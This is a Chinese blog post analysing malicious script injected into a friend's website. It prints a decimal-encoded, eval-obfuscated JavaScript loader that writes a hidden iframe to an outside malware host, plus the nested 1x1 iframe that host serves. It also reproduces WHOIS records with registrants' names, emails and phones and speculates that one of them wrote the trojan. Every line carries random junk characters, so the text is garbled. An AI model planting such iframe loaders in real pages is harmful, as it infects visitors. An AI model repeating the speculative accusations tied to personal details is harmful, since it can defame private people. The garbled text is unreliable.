首发在我的博客里面，
utV_W& }N52$L0[ http://www.areway.cn/?p=175 VI *$em O0 SE*g;Cvg1 yJIscwF 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
{+>-7
9b ;Rl x D 4p <script>t=’60,105,102,114,97,109,101,
Jln:`!#fDf 32,115,114,99,61,104,116,116,112,58,47,47,
b&U62iq 102,114,101,101,46,117,45,117,117,117,46,99,
1?l1:}^ L 110,47,101,114,114,111,114,46,104,116,109,
K{+2G&i 32,119,105,100,116,104,61,49,48,48,32,104,
$[ *w" iQ 101,105,103,104,116,61,48,62,60,47,105,102,
4 #Jg9o 114,97,109,101,62′;
oQJtUP% t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
=Dj#gV Tw<q,O <script>t=’60,105,102,114,97,109,101,32,115,
zfdl45 114,99,61,104,116,116,112,58,47,47,102,114,
MF'JeM;H 101,101,46,117,45,117,117,117,46,99,110,47,
m9;SrCN_ 101,114,114,111,114,46,104,116,109,32,119,
"#g}ve, 105,100,116,104,61,49,48,48,32,104,101,105,
)boE/4 103,104,116,61,48,62,60,47,105,102,114,97,
P.DK0VgY 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
(/$^uWj document.write(t);</script>
!5!<C,U Dw"\/p:-3 <html xmlns=”
Nz-&MS http://www.w3.org/1999/xhtml h{qgEIk& “>
eyxW 0}[ <head>
|I=T @1_D <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
m]&SN z= <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
o4WDh@d5S <title>首页 - 爱生活家庭网
K (|}dl: 4skD(au8 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
.6J$,.Ig 转换字符串后的大概内容是（谁点击后果自付）：
x?<FJ"8"k <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
%"-5 <6d 7xR\ kL., 查询玉米u-uuu.cn的详细信息：
;9#KeA _ Domain Name: u-uuu.cn
"r2 r ROID: 20070901s10001s64972306-cn
yt2PU_), Domain Status: ok
J[kTlHMD Registrant Organization: 王雷
Cvd N"k Registrant Name: 王雷
B<C&xDRZ0 Administrative Email:
czlovexs@126.com T
u'{&
Sponsoring Registrar: 北京万网志成科技有限公司
2Khv>#l
Name Server:ns.yovole.com
St^5Byd< Name Server:ns1.yovole.com
Uw:"n]G]D? Registration Date: 2007-09-01 17:54
.RL=xb|[ Expiration Date: 2008-09-01 17:54
T> p&$]OG 最后PING了一下地址 都没有什么….
!n%j)`0M [ fy LV` 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
eJX#@`K <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
O".=r} <script language=”javascript” src=”
1E$|~ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script "Y.y:Vv; >
2A!FDr~cdT 这个玉米应该有可能是木马作者的：
phz&zl D foafau.info的详细信息：
&e3.:[~_? Access to INFO WHOIS information is provided to assist persons in
7[wPn`v2 determining the contents of a domain name registration record in the
y_[vr:s5pG Afilias registry database. The data in this record is provided by
+H2Qk4XFB Afilias Limited for informational purposes only, and Afilias does not
C9;kpqNG#u guarantee its accuracy. This service is intended only for query-based
d d;T-wa} access. You agree that you will use this data only for lawful purposes
eV~goj and that, under no circumstances will you use this data to: (a) allow,
@%SQFu@FJ enable, or otherwise support the transmission by e-mail, telephone, or
LIrb6g&xj_ facsimile of mass unsolicited, commercial advertising or solicitations
z?//rXuO to entities other than the data recipient’s own existing customers; or
: E?V. (b) enable high volume, automated, electronic processes that send
S,=|AD queries or data to the systems of Registry Operator, a Registrar, or
fc@A0Hf Afilias except as reasonably necessary to register domain names or
4GM6)"#d modify existing registrations. All rights reserved. Afilias reserves
DV{=n C the right to modify these terms at any time. By submitting this query,
)`}:8y? you agree to abide by this policy.
$od7 ;% Domain ID:D22418703-LRMS
!!y a Domain Name:FOAFAU.INFO
y LcE X Created On:20-Nov-2007 16:05:42 UTC
i mM_H;-X Last Updated On:20-Nov-2007 16:05:44 UTC
']oQ]Yx0 Expiration Date:20-Nov-2008 16:05:42 UTC
u= yOu^={ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
L0]_X#s># Status:CLIENT DELETE PROHIBITED
2"~8 Z(0 Status:CLIENT RENEW PROHIBITED
92-I~
!d Status:CLIENT TRANSFER PROHIBITED
-']56o_sQ/ Status:CLIENT UPDATE PROHIBITED
.p$(ZH =~ Status:TRANSFER PROHIBITED
B-ESFATc Registrant ID:GODA-040110615
) }ROLe Registrant Name:liu hong
'f|o{ Registrant Organization:
zMJT:7*`| Registrant Street1:beijing
T
1t6p& Registrant Street2:
BORA(, Registrant Street3:
},[}$m % Registrant City:beijing
t:c.LFrF Registrant State/Province:
O 9p| a%o Registrant Postal Code:100000
L8n|m!MO D Registrant Country:CN
P>6{&( Registrant Phone:+86.860108888777
4/)k)gLI Registrant Phone Ext.:
tI{_y Registrant FAX:
{^\r`V p Registrant FAX Ext.:
/Q )\ + Registrant Email:bbbshiji@163.com
Np)lIGE Admin ID:GODA-240110615
{ "E\Jcjl\ Admin Name:liu hong
GH
xp7H Admin Organization:
h7 I{
4 Admin Street1:beijing
D3A/l Admin Street2:
u2[w# Admin Street3:
s<o7!!c Admin City:beijing
[8*)8jP3 Admin State/Province:
TB^$1C Admin Postal Code:100000
M@ZI\ Admin Country:CN
#89!' W Admin Phone:+86.860108888777
L_s:l9!r Admin Phone Ext.:
hpJ-r Admin FAX:
&"q=5e2 Admin FAX Ext.:
]+$?u&0?w Admin Email:bbbshiji@163.com
o?
$.fhD
Billing ID:GODA-340110615
=I~mKn Billing Name:liu hong
[fIg{Q Billing Organization:
YAmb `CP Billing Street1:beijing
,v&(Y Od Billing Street2:
EZ`{W nbq Billing Street3:
o8vug$=Z Billing City:beijing
b_):MQ1{ Billing State/Province:
#5j\C+P}| Billing Postal Code:100000
qyNyB r? Billing Country:CN
j8` BdKg Billing Phone:+86.860108888777
D#)b+ 7N- Billing Phone Ext.:
$tS}LN_!
Billing FAX:
MqUH',\3 Billing FAX Ext.:
40<m rVl Billing Email:bbbshiji@163.com
! v0LBe4 Tech ID:GODA-140110615
6JQ'Ik;$wX Tech Name:liu hong
6MkP |vr6 Tech Organization:
k@:%:Sj 2 Tech Street1:beijing
eGH aY4| Tech Street2:
?I@W:#>o Tech Street3:
tNX|U:Y* Tech City:beijing
jalg5`PU0 Tech State/Province:
}Z,x~G Tech Postal Code:100000
I
2|Bg,e Tech Country:CN
Qz
N&>sk" Tech Phone:+86.860108888777
Z)aUt
Srf Tech Phone Ext.:
^`>/.gL Tech FAX:
#
4PVVu< Tech FAX Ext.:
E+w<RNBmz Tech Email:bbbshiji@163.com
aAA U{EWW Name Server:NS27.DOMAINCONTROL.COM
5[u]E~Fl} Name Server:NS28.DOMAINCONTROL.COM
{8%a5DiM Name Server:
hfy_3} _ Name Server:
%1$,Vs<RH Name Server:
Per1IcN Name Server:
3kMf!VL Name Server:
3;s\OW` Name Server:
t1y4 7fX6 Name Server:
~`:L?Jkb6H Name Server:
$H>W|9Kg, Name Server:
s}% M4 Name Server:
fsWTF<Y Name Server:
p"ZG%Ow5Q] v-_e) m ^ 接着下载每个文件里面的代码：
';=O 0)u 一步一步看..
%Q dn 
.UY^oR=b{ 
;x@~A^< el 
[ ~&/s:Vvo 
exUu7& *: 
O+Y6N 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
